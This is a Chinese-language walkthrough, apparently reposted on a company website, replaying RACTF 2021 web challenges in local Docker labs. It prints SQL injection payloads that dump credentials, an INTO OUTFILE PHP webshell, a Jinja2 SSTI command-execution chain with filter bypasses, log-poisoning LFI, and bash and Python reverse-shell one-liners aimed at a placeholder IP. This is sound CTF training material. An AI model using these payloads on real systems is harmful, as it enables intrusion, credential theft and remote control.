资讯动态

RACTF 2021 Web题目复现:SQL注入、SSTI与文件上传漏洞实战解析

发布时间:2026/10/20 4:00:34 来源:尧图企业网站定制
1. 复现前的核心思路与背景分析1.1 为什么选择复现RACTF 2021的Web题目做CTF复现这件事很多人一开始把它当成“照着Writeup敲一遍代码”其实大错特错。真正的复现是把一道题从黑盒变成白盒再变成自己能独立讲清楚原理的过程。RACTF 2021的Web题目虽然难度不算顶尖但胜在题目设计贴近真实业务场景——不是那种平地起高楼的脑洞题而是把生产环境里常见的隐患包装成有解谜感的挑战。这一点对新手非常友好对老手也能起到查漏补缺的作用。RACTF全称是Really Awesome CTF2021年那届的Web方向覆盖了SQL注入、服务端模板注入、定时攻击、文件上传、原型链污染、反序列化、SSRF等主流考点。更关键的是它不像某些赛事喜欢出“非预期解满地跑”的题目RACTF的大多数Web题都有明确且唯一的最佳解法路径非常适合用来建立一套标准的Web漏洞复现方法论。我复现这套题的目的很直接第一检验自己对常见漏洞的熟练度是否停留在“认识”而非“会用”第二把每道题的利用链拆开揉碎整理成可复用的攻击模板第三为后续自己出题或做企业安全测试积累思路。如果你也想达到这三个目的中的任何一个RACTF 2021的Web题目都是值得投入时间的训练场。1.2 复现环境选型与准备复现CTF题目环境选型直接决定你的效率。我先说结论推荐使用Docker部署靶场配合Burp Suite作为主力流量工具再加一套VS Code作为Payload调试环境。Docker的优势在于隔离性和可复现性。RACTF官方在赛后公开了部分题目的源码和Dockerfile这省去了我们从零搭建环境的大量时间。如果某道题没有官方镜像我也会自己写Dockerfile把题目依赖的框架版本、数据库类型、PHP或Node版本固定下来。理由很简单Web漏洞的利用条件高度依赖运行环境同一个Payload在PHP 5.6和PHP 8.1上的表现可能完全不同版本不锁定复现就是在碰运气。关于流量工具Burp Suite是CTF选手和渗透测试工程师的事实标准它的Repeater功能在手工验证Payload时无可替代。但我想多说一句别忽略浏览器开发者工具。很多初学者在复现时习惯把流量丢进Burp就不管了实际上对于前端JS逻辑类题目浏览器F12的Sources面板和Console才是真正的调试主战场。RACTF 2021里就有一道题需要分析前端代码中的线索纯靠Burp反而绕远路。另外我需要准备一个记录用的目录结构。这是我的个人习惯强烈建议你也这么做RACTF2021_Web/ ├── challenge_sources/ # 存放题目源码 ├── docker_envs/ # 各题目的Docker部署文件 ├── payloads/ # 按漏洞类型分类的Payload ├── notes/ # 每道题的复现笔记和踩坑记录 └── scripts/ # 自动化利用脚本这个结构能让你在复现完三个月后回看时依然能快速找到当时的思路。我见过太多人复现完就删等于白做。1.3 漏洞类型分布与复现优先级RACTF 2021的Web题目从我的统计来看主要考点分布大概是这样的漏洞类型题目数量利用难度实战相关性SQL注入含时间盲注3低-中高SSTI服务端模板注入2中高文件上传与包含2中高原型链污染1高中反序列化PHP1中-高高SSRF与内网探测1中高其他逻辑漏洞2低中从复现角度我建议优先啃SQL注入和SSTI这两类。原因是它们最能帮你建立“从输入到执行”的链路感——你会清楚地看到数据是怎么从HTTP请求流入数据库查询或模板引擎的。掌握了这两类再看反序列化和原型链污染你会发现它们的核心思路其实一脉相承都是寻找“外部输入能到达危险函数”的那条路径。顺便说一个复现时的普遍误区不要按题号顺序刷。RACTF的题号是按提交时间排的不是按难度排的。我按上面的优先级排序复现三天解决了别人一周的量。你自己复现的时候先把每道题的考点归类再按照“简单到难、同类集中”的顺序来做效率会高很多。2. 工具链搭建与基础Payload模板2.1 Docker化部署靶场的完整流程在正式复现之前先把靶场跑起来。这里我以RACTF 2021中一道典型的SQL注入题为例演示完整的Docker部署流程。这道题的源码结构大致是Dockerfile加一个简单的PHP应用数据库用的是MySQL。首先写Dockerfile。如果你从官方仓库拉到了现成的直接用如果没有按下面这个模板改就行FROM php:7.4-apache # 安装PDO扩展PHP连接MySQL必需 RUN docker-php-ext-install pdo pdo_mysql # 复制源码到Web目录 COPY ./src /var/www/html/ # 暴露80端口 EXPOSE 80然后写一个docker-compose.yml把Web服务和数据库串起来version: 3 services: web: build: . ports: - 8080:80 depends_on: - db environment: - DB_HOSTdb - DB_USERctfuser - DB_PASSctfpass - DB_NAMEctfdb db: image: mysql:5.7 environment: - MYSQL_ROOT_PASSWORDrootpass - MYSQL_USERctfuser - MYSQL_PASSWORDctfpass - MYSQL_DATABASEctfdb volumes: - ./db_init.sql:/docker-entrypoint-initdb.d/init.sql这里有个小技巧MySQL官方镜像会在容器首次启动时自动执行/docker-entrypoint-initdb.d/目录下的SQL脚本所以把题目自带的建表数据放到db_init.sql里启动后数据库就是准备好的状态非常方便。启动命令很简单docker-compose up -d等十几秒容器完全起来后访问http://localhost:8080就能看到题目页面了。如果访问不了优先检查docker-compose logs web大概率是端口冲突或数据库连接失败。端口冲突就把8080改成别的数据库连接失败就检查环境变量是否写对。2.2 各类漏洞的基础探测Payload集复现前先把常用Payload准备好可以少走很多弯路。我整理了一份自己的基础Payload速查表覆盖了RACTF 2021涉猎的主要漏洞类型。这里先给出前三类SQL注入探测类 OR 11 OR 11 -- - UNION SELECT NULL,NULL,NULL -- OR 11-- AND SLEEP(5)-- -SSTI探测类先测模板引擎类型再测执行点${7*7} {{7*7}} % 7*7 % #{7*7} {% print 7*7 %}命令注入探测类;id | id $(id) id %0aid有了这些基础Payload你在面对一道陌生题目时第一步不再是“看代码猜逻辑”而是直接丢Payload看回显。RACTF 2021有一道题把过滤规则写在了一个filter.php里但只要输入 UNION SELECT NULL-- -能返回正常页面且不报错就能立刻确认这是UNION注入了接下来就没有必要继续试无关的Payload。2.3 Writeup源码的“正确阅读方式”复现绕不开Writeup但很多人看Writeup的方式有问题。我的建议是先不看解法先看源码结构。RACTF 2021的大多数Web题在赛后都开放了源码。你下载源码后第一件事是打开目录结构找出入口文件、路由定义、数据库操作文件、模板文件。这个过程相当于你自己在做一次白盒审计能培养对Web应用架构的敏感度。举个例子如果题目是PHP写的你就该先找index.php和config.php看有没有全局过滤、session配置、数据库连接方式。如果题目是Python写的Flask或Django就该看路由装饰器和模板渲染的调用点。RACTF 2021一道SSTI题源码里写着flask.render_template_string(user_input)看到这一行题目的核心考点就暴露了后续所有复现步骤都围绕“如何构造可被Jinja2执行的模板字符串”展开。等到自己实在卡住了再去看Writeup。这时候你对题目已经有自己的理解看Writeup是“验证思路”而不是“现学思路”两者收获天差地别。3. 典型题目深度复现SQL注入从探测到Getshell3.1 注入点识别与数据库指纹判断RACTF 2021那道SQL注入题入口是一个商品搜索框。输入普通关键词能正常返回商品列表但输入时页面报出SQL语法错误而且错误信息直接回显在了页面里。这就相当于题目亲手把注入点暴露给了你。拿到注入点后第一步不是急着丢Union Payload而是先做数据库指纹判断。方法很简单丢几条只在特定数据库下语法不同的Payload。MySQL用-- -注释、用SLEEP()做时间盲注而PostgreSQL用--注释、用pg_sleep()。我输入 AND SLEEP(5)-- -之后等了五秒页面才返回直接确认是MySQL。接下来判断列数。用ORDER BY的方式比UNION SELECT更稳因为它不要求前面SELECT的列类型匹配报错也直观 ORDER BY 1-- - ORDER BY 2-- - ORDER BY 3-- -当ORDER BY 4开始报错时说明原查询只有3列。这个过程建议直接用Burp Repeater做手动改数字发送响应时间几乎为零效率很高。数据库指纹和列数都确认后再补一位版本信息。这一步用UNION SELECT UNION SELECT version(),2,3-- -返回结果里出现了8.0.27字样数据库版本也确认了。到这一步注入的基本信息收集完毕可以进入下一步——数据提取。3.2 基于UNION注入的数据提取与脱库思路我复现时遇到的一个障碍是题目把查询结果展示成了商品卡片页面上最多显示前二十条记录。这意味着如果直接UNION SELECT把敏感表数据塞进结果集可能被前面的商品数据挤掉看不到输出。解决办法是控制原查询的结果集为空让注入的UNION SELECT结果成为唯一显示内容。在搜索框输入一个数据库中不存在的关键词比如zzzz原查询自然返回空此时UNION的部分就会顶上。这一步的关键数据提取Payload如下 UNION SELECT table_name,2,3 FROM information_schema.tables WHERE table_schemadatabase()-- -逐条把表名读出来之后发现了一张名为users的表。继续读列名 UNION SELECT column_name,2,3 FROM information_schema.columns WHERE table_nameusers-- -读到了id、username、password_hash等字段。最后把记录捞出来 UNION SELECT username,password_hash,3 FROM users-- -拿到了一组账号密码哈希。这里我不推荐你直接在线破解而是先观察哈希格式——如果是$2y$开头就是bcrypt$6$开头就是sha512crypt。RACTF这题里的哈希是bcrypt短密码用字典跑还有希望长密码基本只能放弃需要另寻出路。这也是当时很多人在这一步卡住的原因——不是技术不够而是忽略了“哈希不可破时要寻找其他攻击面”这个思路。3.3 从SQL注入到文件写入的利用链构建数据提取得手后我发现这个应用还有一个admin后台但普通用户权限不够。就在我以为这道题到此为止时突然想到MySQL在特定条件下是可以通过SELECT ... INTO OUTFILE把查询结果写入文件的。结合之前看到的PHP应用根目录路径一个更深的利用链浮现了。条件有三个数据库账号有FILE权限、secure_file_priv未限制、Web目录有写入权限。判断第一个条件需要知道当前用户权限SQL层可以直接问 UNION SELECT user(),2,3-- -结果显示当前用户是ctfuser%。MySQL 8.0默认给普通用户只有SELECT等基础权限但不少CTF出题人为了方便直接给了ALL PRIVILEGES。我试着构造写入WebShell的Payload UNION SELECT ?php system($_GET[cmd]);?,2,3 INTO OUTFILE /var/www/html/shell.php-- -这一步需要预判Web根目录的实际路径。从之前源码里看到的/var/www/html来猜如果实现不了就用datadir或basedir变量去探测。执行后访问http://localhost:8080/shell.php?cmdid如果页面输出了www-data用户的信息说明文件写入成功。这个链条给我们的启示是SQL注入不能止步于“读数据”要把思路延伸到数据库能做的其他事情上——写文件、读文件、UDT自定义函数调用这些都是高风险能力的体现。3.4 实操过程中的绕过细节与注意事项这道题有几个容易让人翻车的细节我记录下来供参考INTO OUTFILE写入文件时文件内容必须是字符串字面量不能直接拼接函数计算结果。如果写入的WebShell里包含引号要小心PHP语法和SQL字符串的嵌套转义关系。我试过用双引号包裹PHP代码导致SQL注入点提前闭合折腾了十几分钟才定位到问题。UNION SELECT的列数必须与原查询完全一致多一列少一列都会报错。列数探测时ORDER BY和UNION SELECT各试一遍双保险。MySQL 8.0对INTO OUTFILE的验证比5.7更严格如果目标环境不是特意配置的很可能直接报The MySQL server is running with the --secure-file-priv option。遇到这种情况就需要考虑用general_log写文件的办法不过那是在拥有SUPER权限时才有戏。3.5 实战检验RACTF 2021中该题的时间线与最终成果我复现这道题花了大约一个半小时时间线大致是前20分钟信息收集确认注入点、数据库类型、列数。中间40分钟数据提取找到了账号信息和哈希。最后30分钟尝试INTO OUTFILE写入调整路径和Payload成功获取WebShell。最终拿到的flag形式是一串ractf{...}格式的字符串。整个过程下来我对MySQL的information_schema库结构、UNION注入的细节、INTO OUTFILE的触发条件都有了更扎实的理解。4. Python环境下的SSTI从模板引擎识别到RCE4.1 引擎识别与基础语法验证RACTF 2021的SSTI题目是一个基于Flask的简单博客系统博客主题允许自定义模板颜色。我在颜色参数框里输入{{7*7}}页面回显了49这直接说明模板引擎把输入的内容当作表达式解析并执行了。由于已知是Flask环境模板引擎锁定为Jinja2。这里有个细节值得展开Jinja2的{{ }}是输出表达式{% %}是控制逻辑。如果你输入{{7*7}}能回显49说明输入被放进了模板渲染的结果区域如果输入{% if 11 %}yes{% endif %}能回显yes说明控制逻辑也被执行了。两者的利用深度不同——前者只能做变量读取后者才有机会做逻辑控制。拿到SSTI入口后第一步永远是测试对象类型。在Jinja2里最经典的探测Payload是{{ config.__class__.__init__.__globals__ }}它能直接列出当前配置对象的全局变量里面往往包含导入的模块、密钥等敏感信息。如果这一步成功说明SSTI的利用深度较高可以尝试找RCE点。4.2 Jinja2沙箱逃逸的完整利用链拆解Jinja2本身不是安全的模板引擎官方文档明确说明了它对不可信输入是不安全的。但实际题目中往往会有一些限制比如过滤掉了__class__、__globals__等关键词或者在渲染前用黑名单做了检查。RACTF这道题没做太多过滤所以利用链相对顺滑。我的路径是这样的第一步通过config获取两个关键对象{{ config.__class__.__init__.__globals__ }}结果里能看到os、sys、__builtins__等尤其是有os模块的引用。第二步就是构造命令执行{{ config.__class__.__init__.__globals__[os].popen(id).read() }}如果这一步直接在页面输出uid33(www-data)RCE就实现了。但如果题目做了过滤你就需要更高级的绕过手段。比如用|attr过滤器代替点号访问属性{{ config|attr(__class__)|attr(__init__)|attr(__globals__) }}或者利用request对象从请求参数中动态取值绕过静态字符串过滤。再或者用join拼接被过滤的关键字{{ config|attr(__class__) }}在实际做题中这些技巧往往是按顺序递进的。我的经验法则是先试最直接的被过滤了再逐步增加绕过层数每一次都确认是哪一层触发了拦截才能精准构造下一层。4.3 从RCE回弹Shell的可行路径在靶场里popen(id)能执行命令就算达成RCE了但如果你想进一步拿下系统控制权回弹Shell是绕不开的步骤。CTF环境的容器里可能没有nc、python、bash等工具所以回弹方式要灵活。优先尝试方式是反向Shellbash -i /dev/tcp/你的IP/4444 01如果容器里没有bash或者被网络策略限制可以改用python3python3 -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((你的IP,4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);psubprocess.call([/bin/sh,-i])实际操作时需要注意SSTI的Payload里包含大量特殊字符URL编码是必须的。我建议先把Payload写成一个Python脚本用requests库直接发送POST请求这样可以免去手动URL编码的麻烦。如果网络出网被限制另一种思路是写WebShell到Web目录然后通过Web界面执行命令。这种情况下利用链又回到了“文件写入”的老路上{{ config.__class__.__init__.__globals__[os].popen(echo ?php system($_GET[\cmd\]);? /var/www/html/shell.php).read() }}容器里如果有PHP环境这条路会更稳。4.4 RACTF SSTI题的变体与扩展思路实际复现完官方题目后我自己试了试把过滤层加上的变体比如要求绕过__class__过滤。这时候可以直接用request.args去外部传入参数避免在Payload中硬编码被过滤的字符串{{ config|attr(request.args.a)|attr(request.args.b)|attr(request.args.c) }}然后请求时带上/?a__class__b__init__c__globals__这个思路在真实渗透测试中非常实用因为大部分WAF只扫请求体或URL里的固定模式你一旦把关键字符串拆分到参数中检测规则的覆盖就失效了。CTF里练这个技巧以后做企业安全测试时就是降维打击。5. 文件上传与包含类题目的思路总结5.1 客户端校验绕过与Content-Type伪造RACTF 2021有一道文件上传题页面用JavaScript前端校验了文件后缀shell.php根本传不上去。这种题的本质是告诉你永远不要相信客户端的校验。绕过方式无外乎三种用Burp拦截后修改请求、直接禁用前端JS、用浏览器开发者工具修改校验函数。我当时的做法是先把一个合法的jpg文件上传同时把POST请求丢到Burp里改文件名后缀和Content-Type。把文件名从test.jpg改成test.phpContent-Type从image/jpeg改成application/octet-stream服务器如果只校验了Content-Type就会放行。果不其然后端只检查了$_FILES[file][type]是否以image/开头而被Burp改过的数据包直接绕过了这层检查。上传成功后访问/uploads/test.php执行了phpinfo()完成了第一阶段的突破。这里的关键是在Payload里保留合法图片文件头比如在test.php前面加上GIF89a或者FF D8 FF E0以防后端用getimagesize()或finfo_file()读取文件头做校验。RACTF这题没这层校验但真实环境里大概率有准备工作要做足。5.2 二次渲染攻击一种更隐蔽的文件上传利用如果你遇到的文件上传把图片重新生成一遍原来的Payload会丢失那么可以尝试“图片马”策略。其核心是提前把PHP代码插入到图片的元数据或者不被二次渲染破坏的区域比如EXIF信息里。实际操作是先把正常图片上传下载回来对比原图和新图的文件差异。如果两次渲染只改了图片像素数据那就可以把Payload插在文件末尾的注释区或者EXIF字段里。之后利用文件包含漏洞去包含这个“图片马”PHP代码就会被执行。RACTF那道文件上传题没有二次渲染但我在复现笔记中专门补充了这个思路因为这是真实业务中文件上传漏洞利用的常考形态。5.3 文件包含配合临时文件实现RCE另一道文件包含题入口是?pageabout.php明显是本地文件包含LFI。通过?page../../../../etc/passwd成功读到系统密码文件后接下来想到的是包含日志文件。Apache的访问日志路径通常是/var/log/apache2/access.log我往User-Agent里塞了一段PHP代码然后去包含日志文件。因为日志会把User-Agent原样记录下来所以包含时这段代码会被PHP解析执行从而实现RCE。这个技巧的坑在于日志体积可能很大包含时页面响应会很慢而且日志条目多代码可能被截断在中间。解决办法是先用?page/var/log/apache2/access.log试包含再往日志里写入极短的Payload比如?php system($_GET[c]); ?然后访问?page/var/log/apache2/access.logcid。我最终通过这种方式拿到了题目flag也学会了LFI类题目的通用打法先读系统文件验证包含存在再找可写入日志或session文件的位置最后实现代码执行。5.4 上传与包含的联合利用场景复盘复盘时我把两道上传题和包含题放一起看发现它们的本质是同一个思路寻找服务器上“可写入且可执行”的位置。如果是纯上传题那个位置就是uploads/目录如果是纯包含题那个位置就是日志文件或session文件如果是上传加包含的组合题那个位置就是伪装成图片的PHP文件。联合利用的好处是可以交叉验证。比如上传题里拿到了图片马但直接访问不解析配合包含题就能把图片马“激活”。我在复现RACTF题目的过程中体会很深多学一种漏洞只是多了一种手段能把多个漏洞串成一条链才是Web安全的核心能力。6. 高频踩坑点与排查技巧实录6.1 环境相关的经典报错与对策复现CTF Web题心态通常不是被难题击垮的而是被环境问题拖垮的。我整理了这段时间遇见频率最高的几类问题连同对策写在这里报错现象可能原因对策docker-compose up后页面502PHP-FPM未启动或版本不配检查容器日志docker-compose logs web看有没有PHP扩展未加载的提示数据库连不上报access deniedcompose中用户名密码与程序配置不一致统一检查db_init.sql和程序里的数据库配置最笨但最有效的方法是把MYSQL_USER和MYSQL_PASSWORD设成和数据库脚本里一样的值页面显示No such file or directory文件路径写错或目录权限不够在容器内exec进去ls -la /var/www/html确认路径大小写、确认www-data用户是否能读Payload发送后无任何反应目标做了输出编码或请求参数名不对回退到最基础的1和看回显差异确认流量确实到达了目标并产生了影响6.2 Payload不生效时的分层排查方法我遇到过最尴尬的情况是Payload在本地验证有效打远程却无效。这时候一定不要慌按顺序排查第一层确认目标是不是真的打了这个漏洞点。有回显的看回显没回显的用时间延迟或DNSlog来确认。如果连时间延迟都没有除非是盲注否则基本就是没打到点子上。第二层确认有没有过滤。把输入的分别试单引号、双引号、反斜杠看回显差异。如果单引号被转义成\说明开了addslashes或类似过滤函数。第三层确认你的Payload是否被编码问题破坏。URL编码、Unicode编码、HTML实体编码都会让Payload看起来一样实际到后端却变了样。用Burp的Repeater逐字节检查发送的数据包最稳妥。第四层确认目标组件版本。同一个漏洞在不同版本上的利用代码可能完全不同。RACTF这道SSTI题在Flask 2.0上能用的Payload放到Flask 1.1上可能报错因为部分内部对象名称变了。这个顺序是我踩了无数次坑之后总结出来的。一开始我做题总是急于换新的工具或新的脚本后来发现90%的问题就出在前两层压根没到换工具那一步。6.3 复现笔记模版让每次复现都沉淀出经验最后分享一个我觉得对长期提升最有帮助的习惯每次复现完一道题按下面的模板写笔记。不是为了给别人看而是为了给三个月后的自己看。题目名称 考点类型 难度评级1-5 利用链概览 - 入口 - 关键步骤 - 获取flag的命令/操作 踩坑记录 - 问题1及原因 - 问题2及原因 对比官方Writeup的差异 - 我没想到/没做到的点 可迁移的技巧下次在其他场景能用上的我用这个模板做了RACTF 2021全部Web题目的笔记回头看收获非常大。尤其是“可迁移的技巧”这一栏后续出题或做测试时直接翻笔记找思路比重新查文档高效太多。复现RACTF 2021 Web题目的整个过程我的感受是CTF题目放大了真实世界里的攻击场景但真实的业务系统往往没有“flag”这样明确的最终目标更多时候是靠一点一点的信息积累和链路拼接来验证风险。多复现几套比赛题目不只是为了刷题量更是为了在面对一个陌生系统时脑子里能本能的浮现出“该从哪里入手、下一步试什么、哪里可能藏着突破点”的大致地图。这套从RACTF里练出来的直觉我后面做实际项目时受益很多。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价 →
↑